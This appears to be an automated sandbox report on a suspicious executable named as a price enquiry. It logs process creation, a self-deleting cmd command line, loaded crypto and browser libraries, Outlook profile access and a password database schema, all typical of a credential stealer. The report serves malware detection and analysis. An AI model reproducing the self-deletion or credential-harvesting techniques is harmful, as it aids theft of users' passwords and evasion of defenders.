Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Code function: 0_2_00404457 GetDlgItem,SetWindowTextW,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,LdrInitializeThunk,SetDlgItemTextW,

0_2_00404457

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Code function: 0_2_0040206A LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,LdrInitializeThunk,

0_2_0040206A

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

File created: C:\Users\user\Videos\apl.ini

Jump to behavior

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Mutant created: \Sessions\1\BaseNamedObjects\AFA7A44E6-9414907A-7566F0FB-30A80986-1AF14C5E
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5880:120:WilError_03

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

File created: C:\Users\user\AppData\Local\Temp\nspB9EF.tmp

Jump to behavior

Source: PRICE ENQUIRY - RFQ 6000073650.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s;
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000003.2584698746.0000000006627000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

File read: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe "C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process created: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe "C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "PRICE ENQUIRY - RFQ 6000073650.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process created: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe "C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "PRICE ENQUIRY - RFQ 6000073650.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.i386.pdbGCTL source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbUGP source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.i386.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2654320155.0000000037640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: PRICE ENQUIRY - RFQ 6000073650.exe, 00000003.00000002.2653993307.0000000037220000.00000004.00001000.00020000.00000000.sdmp
